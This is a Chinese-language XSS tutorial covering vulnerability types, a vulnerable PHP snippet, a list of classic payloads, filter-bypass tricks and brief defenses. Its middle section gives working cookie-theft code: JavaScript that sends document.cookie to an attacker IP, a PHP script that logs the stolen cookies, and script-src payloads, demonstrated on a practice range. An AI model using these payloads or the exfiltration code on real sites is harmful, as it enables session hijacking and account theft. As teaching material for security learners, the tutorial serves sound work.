XSS全称(Cross Site Scripting)跨站脚本攻击,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第三名和第七名,XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。
XSS分为三类:
反射型XSS:简单的把用户输入的数据反射给浏览器,它一次性的和被动的。只有用户点击了攻击者的XSS攻击连接才会触发。
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
?>
存储型XSS:攻击者的XSS代码会被存在在数据库里面,永久性存储,具有很强的稳定性。也是XSS中危害最大的。常见于页面数据交汇处。如:评论,修改用户信息,登录,留言板,搜索等地方。攻击者将脚本代码嵌入留言区等,提交到服务器,其他用户登录时也会执行该脚本代码。
DOM型XSS:不与后台服务器产生数据交互,通过更改前端的dom节点形成的XSS漏洞。
XSS攻击的危害:
-
盗取用户cookie;
-
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;
-
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;
-
盗窃企业重要的具有商业价值的资料;
-
强制发送电子邮件;
-
网站挂马;
如何查找XSS:
手工查找:只要有输入且有对脚本输出解析的地方(登录注册修改更新留言等等),都可以尝试XSS(如:HTML标签、URL栏、Style地、Script地、referer头、cookies、post参数、页面带参数的地方等等),也可以借助半自动工具辅助(Burpsuite、firefox(hackbar)、XSSER、 XSSF等)。
http://xx.xx.xx.xx/xxx.php?id=参数'"><script>alert(12)</script>
工具查找:APPscan、AWVS、Burpsuite 等
一些经典xss语句:(仅供学习使用,请勿进行非法攻击)
<h5>1</h5>
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)>
<script>alert('xss');</script>
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
pt>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert("Vulnerable")</script>.jsp
3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
XSS盗取cookie原理:
首先编写 js代码获取用户cookie值
var img = document.createElement('img'); // 创建一个图片标签
img.width = 0; //设置图片的宽为0
img.height = 0; //设置图片的高为0
img.src = 'http://ip /xss.php?Cookie='+encodeURIComponent(document.cookie);// 设置图片的src属性,该src能将用户的cookie值发送到这个连接的服务器
编写服务器后台代码
<?php
@ini_set('display_errors',1); // 直接在浏览器中输出错误信息
$str = $_GET['Cookie']; // 获取用户cookie
$filePath = "Cookie.php"; // 将用户的cookie保存
$handler = fopen($filePath, "a");
fwrite($handler, $str);
fclose($handler);
?>
构造 XSS payload
<script src="http://192.168.64.134/xss.js"></script>
<script src="//192.168.64.134/xss.js "></script>
以pikachu靶场做实验,效果如下。
插入payload,然后提交
后台服务器效果如下
XSS绕过技巧:
- 对前端的限制可以尝试进行抓包重发或者修改前端的HTML。
- 防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。例:<sCRipT>alert('xss')</sCrIPt>
- 防止后台对输入的内容进行替换,采用拼拼凑的输入方法。例:<sc<script>ript>alert('xss')</scr<script>ipt>
- 使用注释来干扰后台对输入内容的识别。例:<sc<!--test-->ript>alert('xss')</scr<!--tshauie-->ipt>
- 编码思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)
- 转换标签:script 标签不行,可以替换其他标签(如:img、onclick)。例如:<img src=a onerror=alert(1)>
XSS常规waf绕过技巧:
- 标签语法替换
- 特殊符号干扰
- 提交方式更改
- 垃圾数据溢出
- 加密解密算法
- 结合其他漏洞绕过
XSS防御:
XSS防御的总体思路是:对输入进行过滤,对输出进行编码
过滤:根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义()